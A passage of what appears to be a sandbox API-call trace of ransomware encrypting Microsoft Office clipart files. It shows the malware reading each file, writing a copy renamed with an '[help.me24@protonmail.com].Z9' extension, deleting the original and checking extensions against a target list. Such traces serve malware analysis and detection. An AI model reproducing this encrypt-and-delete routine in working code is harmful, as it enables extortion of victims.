	[0165.573] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x23d0, lpOverlapped=0x0) returned 1
	[0165.574] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.574] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.574] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.574] CloseHandle (hObject=0x4a8) returned 1
	[0165.574] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.574] SetEndOfFile (hFile=0x3e0) returned 1
	[0165.578] CloseHandle (hObject=0x3e0) returned 1
	[0165.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1
	[0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.579] lstrlenW (lpString=".doc") returned 4
	[0165.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.579] lstrlenW (lpString=".docx") returned 5
	[0165.579] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0165.579] lstrlenW (lpString=".pdf") returned 4
	[0165.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString=".xls") returned 4
	[0165.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.580] lstrlenW (lpString=".xlsx") returned 5
	[0165.580] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0165.580] lstrlenW (lpString=".ppt") returned 4
	[0165.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.580] lstrlenW (lpString=".zip") returned 4
	[0165.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.580] lstrlenW (lpString=".rar") returned 4
	[0165.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString=".bz2") returned 4
	[0165.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString=".7z") returned 3
	[0165.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.580] lstrlenW (lpString=".dbf") returned 4
	[0165.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.580] lstrlenW (lpString=".1cd") returned 4
	[0165.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.580] lstrlenW (lpString=".jpg") returned 4
	[0165.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.580] lstrlenW (lpString=".doc") returned 4
	[0165.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.580] lstrlenW (lpString=".docx") returned 5
	[0165.580] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0165.580] lstrlenW (lpString=".pdf") returned 4
	[0165.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.581] lstrlenW (lpString=".xls") returned 4
	[0165.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.581] lstrlenW (lpString=".xlsx") returned 5
	[0165.581] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0165.581] lstrlenW (lpString=".ppt") returned 4
	[0165.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.581] lstrlenW (lpString=".zip") returned 4
	[0165.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.581] lstrlenW (lpString=".rar") returned 4
	[0165.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.581] lstrlenW (lpString=".bz2") returned 4
	[0165.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.581] lstrlenW (lpString=".7z") returned 3
	[0165.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.581] lstrlenW (lpString=".dbf") returned 4
	[0165.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.581] lstrlenW (lpString=".1cd") returned 4
	[0165.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0165.581] lstrlenW (lpString=".jpg") returned 4
	[0165.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.581] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.581] lstrlenW (lpString="J0099183.WMF") returned 12
	[0165.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.582] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4946) returned 1
	[0165.583] CloseHandle (hObject=0x3e0) returned 1
	[0165.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220
	[0165.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.583] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.583] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.584] GetLastError () returned 0x0
	[0165.584] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1352, lpOverlapped=0x0) returned 1
	[0165.586] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1360, lpOverlapped=0x0) returned 1
	[0165.587] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.588] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.588] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.588] CloseHandle (hObject=0x4a8) returned 1
	[0165.588] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.588] SetEndOfFile (hFile=0x3e0) returned 1
	[0165.591] CloseHandle (hObject=0x3e0) returned 1
	[0165.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1
	[0165.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.593] lstrlenW (lpString=".doc") returned 4
	[0165.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.593] lstrlenW (lpString=".docx") returned 5
	[0165.593] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0165.593] lstrlenW (lpString=".pdf") returned 4
	[0165.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.593] lstrlenW (lpString=".xls") returned 4
	[0165.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.593] lstrlenW (lpString=".xlsx") returned 5
	[0165.593] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0165.593] lstrlenW (lpString=".ppt") returned 4
	[0165.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.593] lstrlenW (lpString=".zip") returned 4
	[0165.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.593] lstrlenW (lpString=".rar") returned 4
	[0165.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString=".bz2") returned 4
	[0165.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString=".7z") returned 3
	[0165.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.594] lstrlenW (lpString=".dbf") returned 4
	[0165.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.594] lstrlenW (lpString=".1cd") returned 4
	[0165.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.594] lstrlenW (lpString=".jpg") returned 4
	[0165.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.594] lstrlenW (lpString=".doc") returned 4
	[0165.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString=".docx") returned 5
	[0165.594] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0165.594] lstrlenW (lpString=".pdf") returned 4
	[0165.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString=".xls") returned 4
	[0165.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.594] lstrlenW (lpString=".xlsx") returned 5
	[0165.594] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0165.594] lstrlenW (lpString=".ppt") returned 4
	[0165.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.594] lstrlenW (lpString=".zip") returned 4
	[0165.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.594] lstrlenW (lpString=".rar") returned 4
	[0165.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.595] lstrlenW (lpString=".bz2") returned 4
	[0165.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.595] lstrlenW (lpString=".7z") returned 3
	[0165.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.595] lstrlenW (lpString=".dbf") returned 4
	[0165.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.595] lstrlenW (lpString=".1cd") returned 4
	[0165.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0165.595] lstrlenW (lpString=".jpg") returned 4
	[0165.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.595] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.595] lstrlenW (lpString="J0099184.WMF") returned 12
	[0165.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.596] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4118) returned 1
	[0165.596] CloseHandle (hObject=0x3e0) returned 1
	[0165.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220
	[0165.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.597] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.597] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.623] GetLastError () returned 0x0
	[0165.623] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1016, lpOverlapped=0x0) returned 1
	[0165.625] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1020, lpOverlapped=0x0) returned 1
	[0165.626] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.626] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.626] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.626] CloseHandle (hObject=0x4a8) returned 1
	[0165.626] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.626] SetEndOfFile (hFile=0x3e0) returned 1
	[0165.748] CloseHandle (hObject=0x3e0) returned 1
	[0165.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1
	[0165.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.750] lstrlenW (lpString=".doc") returned 4
	[0165.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.750] lstrlenW (lpString=".docx") returned 5
	[0165.750] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.750] lstrlenW (lpString=".pdf") returned 4
	[0165.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.750] lstrlenW (lpString=".xls") returned 4
	[0165.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.750] lstrlenW (lpString=".xlsx") returned 5
	[0165.750] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.750] lstrlenW (lpString=".ppt") returned 4
	[0165.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.750] lstrlenW (lpString=".zip") returned 4
	[0165.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.750] lstrlenW (lpString=".rar") returned 4
	[0165.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.750] lstrlenW (lpString=".bz2") returned 4
	[0165.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.750] lstrlenW (lpString=".7z") returned 3
	[0165.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.750] lstrlenW (lpString=".dbf") returned 4
	[0165.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.750] lstrlenW (lpString=".1cd") returned 4
	[0165.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.750] lstrlenW (lpString=".jpg") returned 4
	[0165.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.751] lstrlenW (lpString=".doc") returned 4
	[0165.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString=".docx") returned 5
	[0165.751] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.751] lstrlenW (lpString=".pdf") returned 4
	[0165.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString=".xls") returned 4
	[0165.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.751] lstrlenW (lpString=".xlsx") returned 5
	[0165.751] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.751] lstrlenW (lpString=".ppt") returned 4
	[0165.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.751] lstrlenW (lpString=".zip") returned 4
	[0165.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.751] lstrlenW (lpString=".rar") returned 4
	[0165.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString=".bz2") returned 4
	[0165.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString=".7z") returned 3
	[0165.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.751] lstrlenW (lpString=".dbf") returned 4
	[0165.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.751] lstrlenW (lpString=".1cd") returned 4
	[0165.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0165.751] lstrlenW (lpString=".jpg") returned 4
	[0165.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.752] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0165.752] lstrlenW (lpString="J0099188.JPG") returned 12
	[0165.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.752] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9080) returned 1
	[0165.752] CloseHandle (hObject=0x3e0) returned 1
	[0165.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220
	[0165.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.753] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.753] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.754] GetLastError () returned 0x0
	[0165.754] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x2378, lpOverlapped=0x0) returned 1
